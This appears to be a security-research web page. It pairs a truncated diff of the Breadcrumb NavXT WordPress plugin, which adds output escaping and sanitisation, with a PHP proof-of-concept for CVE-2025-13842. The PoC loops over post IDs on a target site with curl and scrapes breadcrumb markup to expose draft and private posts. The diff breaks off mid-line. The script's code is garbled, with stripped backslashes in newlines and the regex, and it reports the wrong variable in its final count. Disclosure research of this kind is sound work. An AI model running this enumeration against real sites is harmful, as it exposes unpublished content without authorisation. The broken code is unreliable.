+							<label for="<?php echo esc_attr($optid);?>"><?php esc_html_e('Author Root Page', 'breadcrumb-navxt');?></label>
 						</th>
 						<td>
 							<?php wp_dropdown_pages(array(
 									'name' => $this->unique_prefix . '_options[aauthor_root]',
-									'id' => $optid,
+									'id' => esc_attr($optid),
 									'echo' => 1,
-									'show_option_none' => __( '— Select —' ),
+									'show_option_none' => esc_attr__('— Select —', 'breadcrumb-navxt'),
 									'option_none_value' => '0',
 									'selected' => $this->settings['aauthor_root']->get_value(),
 									'class' => $overridden_style['aauthor_root']
 							));
 							if(isset($overridden['aauthor_root']) && $overridden['aauthor_root'] !== '')
 							{
-								printf('<p class="description">%s</p>', $overridden['aauthor_root']);
+								printf('<p class="description">%s</p>', esc_html($overridden['aauthor_root']));
 							}
 							?>
 						</td>
 					</tr>
 				</table>
-				<h2><?php _e('Miscellaneous', 'breadcrumb-navxt'); ?></h2>
+				<h2><?php esc_html_e('Miscellaneous', 'breadcrumb-navxt'); ?></h2>
 				<table class="form-table">
 					<?php
 						$this->form->textbox(
@@ -796,33 +812,11 @@
 								$overridden_style['H404_template']);
 					?>
 				</table>
-				<h2><?php _e('Deprecated', 'breadcrumb-navxt'); ?></h2>
-				<table class="form-table">
-					<tr valign="top">
-						<th scope="row">
-							<?php esc_html_e('Title Length', 'breadcrumb-navxt'); ?>
-						</th>
-						<td>
-							<label>
-								<input name="bcn_options[blimit_title]" type="checkbox" id="blimit_title" value="true" class="disabled" <?php checked(true, $this->settings['blimit_title']->get_value()); ?> />
-								<?php printf(esc_html__('Limit the length of the breadcrumb title. (Deprecated, %suse CSS instead%s)', 'breadcrumb-navxt'), '<a title="' . esc_attr__('Go to the guide on trimming breadcrumb title lengths with CSS', 'breadcrumb-navxt') . '" href="https://mtekk.us/archives/guides/trimming-breadcrumb-title-lengths-with-css/">', '</a>');?>
-							</label><br />
-							<ul>
-								<li>
-									<label for="amax_title_length">
-										<?php esc_html_e('Max Title Length: ','breadcrumb-navxt');?>
-										<input type="number" name="bcn_options[amax_title_length]" id="amax_title_length" min="1" step="1" value="<?php echo esc_html($this->settings['amax_title_length']->get_value(), ENT_COMPAT, 'UTF-8'); ?>" class="small-text disabled" />
-									</label>
-								</li>
-							</ul>
-						</td>
-					</tr>
-				</table>
 				<?php do_action($this->unique_prefix . '_after_settings_tab_miscellaneous', $this->settings); ?>
 			</fieldset>
 			<?php do_action($this->unique_prefix . '_after_settings_tabs', $this->settings); ?>
 			</div>
-			<p class="submit"><input type="submit" class="button-primary" name="bcn_admin_options" value="<?php esc_attr_e('Save Changes') ?>" /></p>
+			<p class="submit"><input type="submit" class="button-primary" name="bcn_admin_options" value="<?php esc_attr_e('Save Changes', 'breadcrumb-navxt') ?>" /></p>
 		</form>
 		</div>
 		<?php
--- a/breadcrumb-navxt/class.bcn_breadcrumb.php
+++ b/breadcrumb-navxt/class.bcn_breadcrumb.php
@@ -34,7 +34,6 @@
 	protected $url;
 	//The corresponding resource ID
 	protected $id = null;
-	private $_title = null;
 	//The type of this breadcrumb
 	protected $type;
 	const default_template_no_anchor = '<span property="itemListElement" typeof="ListItem"><span property="name" class="%type%">%htitle%</span><meta property="url" content="%link%"><meta property="position" content="%position%"></span>';
@@ -71,7 +70,7 @@
 			}
 			else
 			{
-				$this->template_no_anchor =  $this->run_template_kses(apply_filters('bcn_breadcrumb_template_no_anchor', $template, $this->type, $this->id));
+				$this->template_no_anchor =  $this->kses(apply_filters('bcn_breadcrumb_template_no_anchor', $template, $this->type, $this->id));
 				$this->set_template(bcn_breadcrumb::get_default_template());
 			}
 		}
@@ -96,7 +95,6 @@
 	{
 		//Set the title
 		$this->title = apply_filters('bcn_breadcrumb_title', $title, $this->type, $this->id);
-		$this->_title = $this->title;
 	}
 	/**
 	 * Function to get the protected title member
@@ -148,12 +146,12 @@
 	/**
 	 * A wrapper for wp_kses which handles getting the allowed html
 	 *
-	 * @param string $template_str The template string to run through kses
-	 * @return string The template string post cleaning
+	 * @param string $string The string to run through kses
+	 * @return string The string post cleaning
 	 */
-	protected function run_template_kses($template_str)
+	protected function kses($string)
 	{
-		return wp_kses($template_str, apply_filters('bcn_allowed_html', wp_kses_allowed_html('post')));
+		return wp_kses($string, apply_filters('bcn_allowed_html', wp_kses_allowed_html('post')));
 	}
 	/**
 	 * Function to set the internal breadcrumb template
@@ -163,7 +161,7 @@
 	public function set_template($template)
 	{
 		//Assign the breadcrumb template
-		$this->template = $this->run_template_kses(apply_filters('bcn_breadcrumb_template', $template, $this->type, $this->id));
+		$this->template = $this->kses(apply_filters('bcn_breadcrumb_template', $template, $this->type, $this->id));
 	}
 	/**
 	 * Function to set the internal breadcrumb ID
@@ -222,13 +220,13 @@
 		}
 		//Build our replacements array
 		$replacements = array(
-			'%title%' => esc_attr(strip_tags($this->title)),
+			'%title%' => esc_attr(wp_strip_all_tags($this->title)),
 			'%link%' => esc_url($this->url),
-			'%htitle%' => $this->title,
+			'%htitle%' => $this->kses($this->title), /*TODO: verify if we want to restrict this more*/
 			'%type%' => apply_filters('bcn_breadcrumb_types', $this->type, $this->id),
-			'%ftitle%' => esc_attr(strip_tags($this->_title)),
-			'%fhtitle%' => $this->_title,
-			'%position%' => $position,
+			'%ftitle%' => esc_attr(wp_strip_all_tags($this->title)),
+			'%fhtitle%' => $this->kses($this->title), /*TODO: verify if we want to restrict this more*/
+			'%position%' => esc_attr($position),
 			'bcn-aria-current' => $aria_current_str
 			);
 		//The type may be an array, implode it if that is the case
@@ -239,7 +237,9 @@
 		}
 		else
 		{
-			_doing_it_wrong(__CLASS__ . '::' . __FUNCTION__, __('bcn_breadcrumb::type must be an array', 'breadcrumb-navxt'), '6.0.2');
+			_doing_it_wrong(__CLASS__ . '::' . __FUNCTION__, esc_html__('bcn_breadcrumb::type must be an array', 'breadcrumb-navxt'), '6.0.2');
+			//Type wasn't an array, throw it through esc_attr
+			$replacements['%type%'] == esc_attr($replacements['%type%']);
 		}
 		$replacements = apply_filters('bcn_template_tags', $replacements, $this->type, $this->id);
 		//If we are linked we'll need to use the normal template
--- a/breadcrumb-navxt/class.bcn_breadcrumb_trail.php
+++ b/breadcrumb-navxt/class.bcn_breadcrumb_trail.php
@@ -30,11 +30,6 @@
 	//Default constructor
 	public function __construct()
 	{
-		//@see https://core.trac.wordpress.org/ticket/10527
-		if(!is_textdomain_loaded('breadcrumb-navxt'))
-		{
-			load_plugin_textdomain('breadcrumb-navxt', false, 'breadcrumb-navxt/languages');
-		}
 		$this->trail = &$this->breadcrumbs;
 		//Initialize with default option values
 		$this->opt = array(
@@ -79,6 +74,7 @@
 			'apost_page_root' => get_option('page_on_front'),
 			//Paged options
 			//The template for paged breadcrumb
+			/* translators: %htitle%: The page title which may contain HTML, in this case it should be a number as it is when on a paginated archive */
 			'Hpaged_template' => sprintf('<span class="%%type%%">%1$s</span>', esc_attr__('Page %htitle%', 'breadcrumb-navxt')),
 			//Should we try filling out paged information
 			'bpaged_display' => false,
@@ -120,10 +116,13 @@
 			//Search page options
 			//The breadcrumb template for search breadcrumbs
 			'Hsearch_template' => sprintf('<span property="itemListElement" typeof="ListItem"><span property="name">%1$s</span><meta property="position" content="%%position%%"></span>',
+					/* translators: %1$s: The searched phrase */
 					sprintf(esc_attr__('Search results for '%1$s'', 'breadcrumb-navxt'),
+					/* translators: %title%: The searched phrase */
 					sprintf('<a property="item" typeof="WebPage" title="%1$s" href="%%link%%" class="%%type%%" bcn-aria-current>%%htitle%%</a>', esc_attr__('Go to the first page of search results for %title%.', 'breadcrumb-navxt')))),
 			//The breadcrumb template for search breadcrumbs, used when an anchor is not necessary
 			'Hsearch_template_no_anchor' => sprintf('<span class="%%type%%">%1$s</span>',
+					/* translators: %1$s: The searched phrase */
 					sprintf(esc_attr__('Search results for '%1$s'', 'breadcrumb-navxt'), '%htitle%')),
 			//Tag related stuff
 			//The breadcrumb template for tag breadcrumbs
@@ -138,10 +137,12 @@
 			//Author page stuff
 			//The anchor template for author breadcrumbs
 			'Hauthor_template' => sprintf('<span property="itemListElement" typeof="ListItem"><span property="name">%1$s</span><meta property="position" content="%%position%%"></span>',
+				/* translators: %1$s: The post author name the current archive is for */
 				sprintf(esc_attr__('Articles by: %1$s', 'breadcrumb-navxt'),
 				sprintf('<a title="%1$s" href="%%link%%" class="%%type%%" bcn-aria-current>%%htitle%%</a>', esc_attr__('Go to the first page of posts by %title%.', 'breadcrumb-navxt')))),
 			//The anchor template for author breadcrumbs, used when anchors are not needed
 			'Hauthor_template_no_anchor' => sprintf('<span class="%%type%%">%1$s</span>',
+				/* translators: %1$s: The post author name the current archive is for */
 				sprintf(esc_attr__('Articles by: %1$s', 'breadcrumb-navxt'), '%htitle%')),
 			//Which of the various WordPress display types should the author breadcrumb display
 			'Eauthor_name' => 'display_name',
@@ -518,7 +519,7 @@
 		//If we did not get a WP_Post object, warn developer and return early
 		if(!($post instanceof WP_Post))
 		{
-			_doing_it_wrong(__CLASS__ . '::' . __FUNCTION__, __('$post global is not of type WP_Post', 'breadcrumb-navxt'), '5.1.1');
+			_doing_it_wrong(__CLASS__ . '::' . __FUNCTION__, esc_html__('$post global is not of type WP_Post', 'breadcrumb-navxt'), '5.1.1');
 			return;
 		}
 		//If this is the current item or if we're allowing private posts in the trail add a breadcrumb
@@ -573,7 +574,7 @@
 	{
 		if(!($term instanceof WP_Term))
 		{
-			_doing_it_wrong(__CLASS__ . '::' . __FUNCTION__, __('$term global is not of type WP_Term', 'breadcrumb-navxt'), '7.0.3');
+			_doing_it_wrong(__CLASS__ . '::' . __FUNCTION__, esc_html__('$term global is not of type WP_Term', 'breadcrumb-navxt'), '7.0.3');
 			return;
 		}
 		//Place the breadcrumb in the trail, uses the constructor to set the title, template, and type, get a pointer to it in return
@@ -1227,8 +1228,8 @@
 		//Set trail order based on reverse flag
 		$this->order($reverse);
 		//The main compiling loop
-		$trail_str = $this->display_loop($this->breadcrumbs, $linked, $reverse, $template, $outer_template, $this->opt['hseparator']);
-		return $trail_str;
+		$trail_str_escaped = $this->display_loop($this->breadcrumbs, $linked, $reverse, $template, $outer_template, $this->opt['hseparator']);
+		return $trail_str_escaped;
 	}
 	/**
 	 * This function assembles the breadcrumbs in the breadcrumb trail in accordance with the passed in template
@@ -1253,7 +1254,7 @@
 			$position = $last_position;
 		}
 		//Initialize the string which will hold the assembled trail
-		$trail_str = '';
+		$trail_str_escaped = '';
 		foreach($breadcrumbs as $key => $breadcrumb)
 		{
 			//Blank the separator if we are dealing with what is the last breadcrumb in the assembled trail
@@ -1263,7 +1264,7 @@
 			}
 			if(is_array($breadcrumb))
 			{
-				$trail_str .= sprintf($outer_template,
+				$trail_str_escaped .= sprintf($outer_template,
 						$this->display_loop($breadcrumb, $linked, $reverse, $template, $outer_template, $this->opt['hseparator_higher_dim'], $depth + 1), $separator);
 			}
 			else if($breadcrumb instanceof bcn_breadcrumb)
@@ -1279,14 +1280,11 @@
 				{
 					$attribs .= sprintf(' %1$s="%2$s"', esc_attr($attrib), esc_attr(implode(' ', $value)));
 				}
-				//Filter li_attributes adding attributes to the li element
-				//TODO: Remove the bcn_li_attributes filter
-				$attribs = apply_filters_deprecated('bcn_li_attributes', array($attribs, $breadcrumb->get_types(), $breadcrumb->get_id()), '6.0.0', 'bcn_display_attributes');
-				//TODO: Deprecate this filter in favor of just using bcn_display_attributes_array
-				$attribs = apply_filters('bcn_display_attributes', $attribs, $breadcrumb->get_types(), $breadcrumb->get_id());
+				//TODO: Remove this filter in favor of just using bcn_display_attributes_array
+				$attribs = apply_filters_deprecated('bcn_display_attributes', array($attribs, $breadcrumb->get_types(), $breadcrumb->get_id()), '7.5.1', 'bcn_display_attribute_array');
 				$separator = apply_filters('bcn_display_separator', $separator, $position, $last_position, $depth);
 				//Assemble the breadcrumb
-				$trail_str .= sprintf($template, $breadcrumb->assemble($linked, $position, ($key === 0)), $separator, $attribs);
+				$trail_str_escaped .= sprintf($template, $breadcrumb->assemble($linked, $position, ($key === 0)), wp_kses($separator, apply_filters('bcn_allowed_html', wp_kses_allowed_html('post'))), $attribs);
 			}
 			if($reverse)
 			{
@@ -1297,7 +1295,7 @@
 				$position++;
 			}
 		}
-		return $trail_str;
+		return $trail_str_escaped;
 	}
 	/**
 	 * This functions outputs or returns the breadcrumb trail in Schema.org BreadcrumbList compliant JSON-LD
@@ -1311,11 +1309,11 @@
 	{
 		//Set trail order based on reverse flag
 		$this->order($reverse);
-		$trail_str = (object)array(
+		$trail_str_escaped = (object)array(
 			'@context' => 'http://schema.org',
 			'@type' => 'BreadcrumbList',
 			'itemListElement' => $this->json_ld_loop($reverse));
-		return $trail_str;
+		return $trail_str_escaped;
 	}
 	/**
 	 * This function assembles all of the breadcrumbs into an object ready for json_encode
@@ -1330,11 +1328,11 @@
 		{
 			$position = count($this->breadcrumbs);
 		}
-		$breadcrumbs = array();
+		$breadcrumbs_escaped= array();
 		//Loop around our breadcrumbs, call the JSON-LD assembler
 		foreach($this->breadcrumbs as $breadcrumb)
 		{
-			$breadcrumbs[] = $breadcrumb->assemble_json_ld($position);
+			$breadcrumbs_escaped[] = $breadcrumb->assemble_json_ld($position);
 			if($reverse)
 			{
 				$position--;
@@ -1344,7 +1342,7 @@
 				$position++;
 			}
 		}
-		return $breadcrumbs;
+		return $breadcrumbs_escaped;
 	}
 	/**
 	 * Deprecated functions, don't use these
--- a/breadcrumb-navxt/class.bcn_network_admin.php
+++ b/breadcrumb-navxt/class.bcn_network_admin.php
@@ -37,7 +37,7 @@
 	 * @param bcn_breadcrumb_trail $breadcrumb_trail a breadcrumb trail object
 	 * @param string $basename The basename of the plugin
 	 */
-	function __construct(array &$opts, $basename, array &$settings)
+	public function __construct(array &$opts, $basename, array &$settings)
 	{
 		//We're going to make sure we load the parent's constructor
 		parent::__construct($opts, $basename, $settings);
@@ -48,7 +48,7 @@
 		//Replace with the network_admin hook
 		add_action('network_admin_menu', array($this, 'add_page'));
 	}
-	function is_network_admin()
+	public function is_network_admin()
 	{
 		return true;
 	}
@@ -60,26 +60,26 @@
 	 * @since  3.2.0
 	 * @return void
 	 */
-	function init()
+	public function init()
 	{
 		//We're going to make sure we run the parent's version of this function as well
 		parent::init();
 	}
-	function wp_loaded()
+	public function wp_loaded()
 	{
 		parent::wp_loaded();
 	}
 	/**
 	 * Return the URL of the settings page for the plugin
 	 */
-	function admin_url()
+	public function admin_url()
 	{
 		return admin_url('network/settings.php?page=' . $this->identifier);
 	}
 	/**
 	 * Adds the adminpage the menu and the nice little settings link
 	 */
-	function add_page()
+	public function add_page()
 	{
 		//Add the submenu page to "settings" menu
 		$hookname = add_submenu_page('settings.php', $this->full_name, $this->short_name, $this->access_level, $this->identifier, array($this, 'admin_page'));
@@ -102,7 +102,7 @@
 	 * @return string
 	 *
 	 */
-	function help()
+	public function help()
 	{
 		$screen = get_current_screen();
 		//Exit early if the add_help_tab function doesn't exist
@@ -122,7 +122,7 @@
 	 * @param string $option The name of the option to retrieve
 	 * @return mixed The value of the option
 	 */
-	function get_option($option)
+	public function get_option($option)
 	{
 		return get_site_option($option);
 	}
@@ -133,7 +133,7 @@
 	 * @param mixed $newvalue The new value to set the option to
 	 *
 	 */
-	function update_option($option, $newvalue, $autoload = null)
+	public function update_option($option, $newvalue, $autoload = null)
 	{
 		return update_site_option($option, $newvalue);
 	}
@@ -146,7 +146,7 @@
 	 * @param string $autoload Whether or not to autoload the option, it's a string because WP is special
 	 *
 	 */
-	function add_option($option, $value = '', $deprecated = '', $autoload = 'yes')
+	public function add_option($option, $value = '', $deprecated = '', $autoload = 'yes')
 	{
 		return add_site_option($option, $value);
 	}
@@ -155,14 +155,14 @@
 	 *
 	 * @param string $option The name of the option to delete
 	 */
-	function delete_option($option)
+	public function delete_option($option)
 	{
 		return delete_site_option($option);
 	}
 	/**
 	 * A message function that checks for the BCN_SETTINGS_* define statement
 	 */
-	function multisite_settings_warn()
+	public function multisite_settings_warn()
 	{
 		if(is_multisite())
 		{
@@ -193,7 +193,7 @@
 	/**
 	 * A message function that checks for deprecated settings that are set and warns the user
 	 */
-	function deprecated_settings_warn()
+	public function deprecated_settings_warn()
 	{
 		parent::deprecated_settings_warn();
 	}
@@ -202,7 +202,7 @@
 	 *
 	 * @return boool Whether or not the blog options should be disabled
 	 */
-	function maybe_disable_blog_options()
+	public function maybe_disable_blog_options()
 	{
 		return false;
 	}
@@ -211,7 +211,7 @@
 	 *
 	 * @return bool Whether or not the mainsite options should be disabled
 	 */
-	function maybe_disable_mainsite_options()
+	public function maybe_disable_mainsite_options()
 	{
 		return false;
 	}
--- a/breadcrumb-navxt/class.bcn_rest_controller.php
+++ b/breadcrumb-navxt/class.bcn_rest_controller.php
@@ -23,7 +23,8 @@
 	//Only purpose of this function is to echo out the PHP version error
 	function bcn_phpold()
 	{
-		printf('<div class="notice notice-error"><p>' . __('Your PHP version is too old, please upgrade to a newer version. Your version is %1$s, Breadcrumb NavXT requires %2$s', 'breadcrumb-navxt') . '</p></div>', phpversion(), '5.3.0');
+		/* translators: %1$s: User's version of PHP, %2$s: Breadcrmb NavXT minimuum PHP version */
+		printf('<div class="notice notice-error"><p>' . esc_html__('Your PHP version is too old, please upgrade to a newer version. Your version is %1$s, Breadcrumb NavXT requires %2$s', 'breadcrumb-navxt') . '</p></div>', esc_html(phpversion()), '7.0.0');
 	}
 	//If we are in the admin, let's print a warning then return
 	if(is_admin())
--- a/breadcrumb-navxt/class.bcn_widget.php
+++ b/breadcrumb-navxt/class.bcn_widget.php
@@ -27,11 +27,6 @@
 	{
 		//Filter allowed_html array to allow others to add acceptable tags
 		$this->allowed_html = apply_filters('bcn_allowed_html', wp_kses_allowed_html('post'));
-		//@see https://core.trac.wordpress.org/ticket/10527
-		if(!is_textdomain_loaded('breadcrumb-navxt'))
-		{
-			load_plugin_textdomain('breadcrumb-navxt', false, 'breadcrumb-navxt/languages');
-		}
 		$ops = array('classname' => 'widget_breadcrumb_navxt', 'description' => __('Adds a breadcrumb trail to your sidebar', 'breadcrumb-navxt'));
 		parent::__construct('bcn_widget', 'Breadcrumb NavXT', $ops);
 	}
@@ -51,10 +46,10 @@
 			return;
 		}
 		//Mandatory before widget junk
-		echo $args['before_widget'];
+		echo wp_kses($args['before_widget'], wp_kses_allowed_html('post'));
 		if(!empty($title))
 		{
-			echo $args['before_title'] . $title . $args['after_title'];
+			echo wp_kses($args['before_title'], wp_kses_allowed_html('post')) . esc_html($title) . wp_kses($args['after_title'], wp_kses_allowed_html('post'));
 		}
 		//We'll want to switch between the two breadcrumb output types
 		if($instance['type'] === 'list')
@@ -98,14 +93,14 @@
 			do_action('bcn_widget_display_trail', $instance);
 		}
 		//Mandatory after widget junk
-		echo $args['after_widget'];
+		echo wp_kses($args['after_widget'], wp_kses_allowed_html('post'));;
 	}
 	function update($new_instance, $old_instance)
 	{
 		//Filter out anything that could be invalid
-		$old_instance['title'] = strip_tags($new_instance['title']);
+		$old_instance['title'] = wp_strip_all_tags($new_instance['title']);
 		$old_instance['pretext'] = wp_kses($new_instance['pretext'], $this->allowed_html);
-		$old_instance['type'] = strip_tags($new_instance['type']);
+		$old_instance['type'] = wp_strip_all_tags($new_instance['type']);
 		//Have to check more than if it is set as it appears this must effectively run twice since WordPress 5.8
 		$old_instance['linked'] = isset($new_instance['linked']) && $new_instance['linked'] !== false;
 		$old_instance['reverse'] = isset($new_instance['reverse']) && $new_instance['reverse'] !== false;
@@ -118,33 +113,33 @@
 		$instance = wp_parse_args((array) $instance, $this->defaults);
 		?>
 		<p>
-			<label for="<?php echo esc_attr($this->get_field_id('title')); ?>"> <?php _e('Title:', 'breadcrumb-navxt'); ?></label>
+			<label for="<?php echo esc_attr($this->get_field_id('title')); ?>"> <?php esc_html_e('Title:', 'breadcrumb-navxt'); ?></label>
 			<input class="widefat" type="text" name="<?php echo esc_attr($this->get_field_name('title')); ?>" id="<?php echo esc_attr($this->get_field_id('title')); ?>" value="<?php echo esc_attr($instance['title']);?>" />
 		</p>
 		<p>
-			<label for="<?php echo esc_attr($this->get_field_id('pretext')); ?>"> <?php _e('Text to show before the trail:', 'breadcrumb-navxt'); ?></label>
+			<label for="<?php echo esc_attr($this->get_field_id('pretext')); ?>"> <?php esc_html_e('Text to show before the trail:', 'breadcrumb-navxt'); ?></label>
 			<input class="widefat" type="text" name="<?php echo esc_attr($this->get_field_name('pretext')); ?>" id="<?php echo esc_attr($this->get_field_id('pretext')); ?>" value="<?php echo esc_attr($instance['pretext']);?>" />
 		</p>
 		<p>
-			<label for="<?php echo esc_attr($this->get_field_id('type')); ?>"> <?php _e('Output trail as:', 'breadcrumb-navxt'); ?></label>
+			<label for="<?php echo esc_attr($this->get_field_id('type')); ?>"> <?php esc_html_e('Output trail as:', 'breadcrumb-navxt'); ?></label>
 			<select name="<?php echo esc_attr($this->get_field_name('type')); ?>" id="<?php echo esc_attr($this->get_field_id('type')); ?>">
-				<option value="list" <?php selected('list', $instance['type']);?>><?php _e('List', 'breadcrumb-navxt'); ?></option>
-				<option value="microdata" <?php selected('microdata', $instance['type']);?>><?php _e('Schema.org BreadcrumbList (RDFa)', 'breadcrumb-navxt'); ?></option>
-				<option value="microdata_wai_aria" <?php selected('microdata_wai_aria', $instance['type']);?>><?php _e('Schema.org BreadcrumbList (RDFa) with WAI-ARIA', 'breadcrumb-navxt'); ?></option>
-				<option value="breadcrumblist_microdata" <?php selected('breadcrumblist_microdata', $instance['type']);?>><?php _e('Schema.org BreadcrumbList (microdata)', 'breadcrumb-navxt'); ?></option>
-				<option value="plain" <?php selected('plain', $instance['type']);?>><?php _e('Plain', 'breadcrumb-navxt'); ?></option>
+				<option value="list" <?php selected('list', $instance['type']);?>><?php esc_html_e('List', 'breadcrumb-navxt'); ?></option>
+				<option value="microdata" <?php selected('microdata', $instance['type']);?>><?php esc_html_e('Schema.org BreadcrumbList (RDFa)', 'breadcrumb-navxt'); ?></option>
+				<option value="microdata_wai_aria" <?php selected('microdata_wai_aria', $instance['type']);?>><?php esc_html_e('Schema.org BreadcrumbList (RDFa) with WAI-ARIA', 'breadcrumb-navxt'); ?></option>
+				<option value="breadcrumblist_microdata" <?php selected('breadcrumblist_microdata', $instance['type']);?>><?php esc_html_e('Schema.org BreadcrumbList (microdata)', 'breadcrumb-navxt'); ?></option>
+				<option value="plain" <?php selected('plain', $instance['type']);?>><?php esc_html_e('Plain', 'breadcrumb-navxt'); ?></option>
 				<?php do_action('bcn_widget_display_types', $instance);?>
 			</select>
 		</p>
 		<p>
 			<input class="checkbox" type="checkbox" name="<?php echo esc_attr($this->get_field_name('linked')); ?>" id="<?php echo esc_attr($this->get_field_id('linked')); ?>"<?php checked(true, $instance['linked']);?> />
-			<label for="<?php echo esc_attr($this->get_field_id('linked')); ?>"> <?php _e('Link the breadcrumbs', 'breadcrumb-navxt'); ?></label><br />
+			<label for="<?php echo esc_attr($this->get_field_id('linked')); ?>"> <?php esc_html_e('Link the breadcrumbs', 'breadcrumb-navxt'); ?></label><br />
 			<input class="checkbox" type="checkbox" name="<?php echo esc_attr($this->get_field_name('reverse')); ?>" id="<?php echo esc_attr($this->get_field_id('reverse')); ?>"<?php checked(true, $instance['reverse']);?> />
-			<label for="<?php echo esc_attr($this->get_field_id('reverse')); ?>"> <?php _e('Reverse the order of the trail', 'breadcrumb-navxt'); ?></label><br />
+			<label for="<?php echo esc_attr($this->get_field_id('reverse')); ?>"> <?php esc_html_e('Reverse the order of the trail', 'breadcrumb-navxt'); ?></label><br />
 			<input class="checkbox" type="checkbox" name="<?php echo esc_attr($this->get_field_name('front')); ?>" id="<?php echo esc_attr($this->get_field_id('front')); ?>"<?php checked(true, $instance['front']);?> />
-			<label for="<?php echo esc_attr($this->get_field_id('front')); ?>"> <?php _e('Hide the trail on the front page', 'breadcrumb-navxt'); ?></label><br />
+			<label for="<?php echo esc_attr($this->get_field_id('front')); ?>"> <?php esc_html_e('Hide the trail on the front page', 'breadcrumb-navxt'); ?></label><br />
 			<input class="checkbox" type="checkbox" name="<?php echo esc_attr($this->get_field_name('force')); ?>" id="<?php echo esc_attr($this->get_field_id('force')); ?>"<?php checked(true, $instance['force']);?> />
-			<label for="<?php echo esc_attr($this->get_field_id('force')); ?>"> <?php _e('Ignore breadcrumb cache', 'breadcrumb-navxt'); ?></label><br />
+			<label for="<?php echo esc_attr($this->get_field_id('force')); ?>"> <?php esc_html_e('Ignore breadcrumb cache', 'breadcrumb-navxt'); ?></label><br />
 		</p>
 		<?php
 	}
--- a/breadcrumb-navxt/includes/adminKit/class-mtekk_adminkit.php
+++ b/breadcrumb-navxt/includes/adminKit/class-mtekk_adminkit.php
@@ -88,7 +88,7 @@
 }
 abstract class adminKit
 {
-	const version = '3.1.1';
+	const version = '3.1.2';
 	protected $full_name;
 	protected $short_name;
 	protected $plugin_basename;
@@ -102,7 +102,7 @@
 	protected $allowed_html;
 	protected $settings = array();
 	protected $form;
-	function __construct()
+	public function __construct()
 	{
 		$this->message = array();
 		$this->messages = array();
@@ -112,14 +112,12 @@
 		add_action('admin_menu', array($this, 'add_page'));
 		//Installation Script hook
 		add_action('activate_' . $this->plugin_basename, array($this, 'install'));
-		//Initializes l10n domain
-		$this->local();
 		add_action('wp_loaded', array($this, 'wp_loaded'));
 		$this->form = new form($this->unique_prefix);
 		//Register Help Output
 		//add_action('add_screen_help_and_options', array($this, 'help'));
 	}
-	function wp_loaded()
+	public function wp_loaded()
 	{
 		//Filter our allowed html tags
 		$this->allowed_html = apply_filters($this->unique_prefix . '_allowed_html', wp_kses_allowed_html('post'));
@@ -127,14 +125,14 @@
 	/**
 	 * Returns the internal mtekk_admin_class version
 	 */
-	function get_admin_class_version()
+	public function get_admin_class_version()
 	{
 		return adminKit::version;
 	}
 	/**
 	 * Checks if the administrator has the access capability, and adds it if they don't
 	 */
-	function add_cap()
+	public function add_cap()
 	{
 		$role = get_role('administrator');
 		if($role instanceof WP_Role && !$role->has_cap($this->access_level))
@@ -145,7 +143,7 @@
 	/**
 	 * Return the URL of the settings page for the plugin
 	 */
-	function admin_url()
+	public function admin_url()
 	{
 		return admin_url('options-general.php?page=' . $this->identifier);
 	}
@@ -157,7 +155,7 @@
 	 * @param string $text (optional) The text that will be surrounded by the anchor tags
 	 * @return string the assembled anchor
 	 */
-	function admin_anchor($mode, $title = '', $text = '')
+	public function admin_anchor($mode, $title = '', $text = '')
 	{
 		return $this->nonced_anchor($this->admin_url(), 'admin_' . $m

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2025-13842 - Breadcrumb NavXT <= 7.5.0 - Missing Authorization to Sensitive Information Exposure

<?php
/**
 * Proof of Concept for CVE-2025-13842
 * Demonstrates unauthorized access to breadcrumb trails for draft/private posts
 * Target: WordPress site with Breadcrumb NavXT plugin <= 7.5.0
 */

$target_url = 'https://example.com'; // CHANGE THIS to target WordPress site

// Function to test post_id enumeration
function test_post_id($post_id) {
    global $target_url;
    
    // Simulate request that triggers Gutenberg block rendering
    // This could be via frontend page load or REST API request
    $url = $target_url . '/?p=' . $post_id;
    
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $url);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
    curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36');
    
    $response = curl_exec($ch);
    $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
    curl_close($ch);
    
    // Check for breadcrumb trail in response
    if (strpos($response, 'breadcrumb') !== false || strpos($response, 'bcn') !== false) {
        // Extract breadcrumb trail (simplified pattern match)
        preg_match('/<nav[^>]*class=["'][^"']*breadcrumb[^"']*["'][^>]*>.*?</nav>/s', $response, $matches);
        
        if (!empty($matches[0])) {
            echo "[+] POST ID $post_id - Breadcrumb trail found:n";
            echo "    " . htmlspecialchars(substr($matches[0], 0, 200)) . "...n";
            return true;
        }
    }
    
    return false;
}

// Main execution
echo "Atomic Edge CVE-2025-13842 PoCn";
echo "Target: $target_urlnn";

// Test a range of post IDs (adjust range as needed)
$found = 0;
for ($i = 1; $i <= 100; $i++) {
    if (test_post_id($i)) {
        $found++;
    }
    usleep(100000); // Rate limiting
}

echo "nScan complete. Found $post_id posts with accessible breadcrumb trails.n";
echo "Note: This PoC demonstrates the vulnerability by checking for breadcrumb outputn";
echo "      in page responses. The actual exploit would target the Gutenberg blockn";
echo "      renderer more directly via REST API or frontend requests with post_id parameter.n";

?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

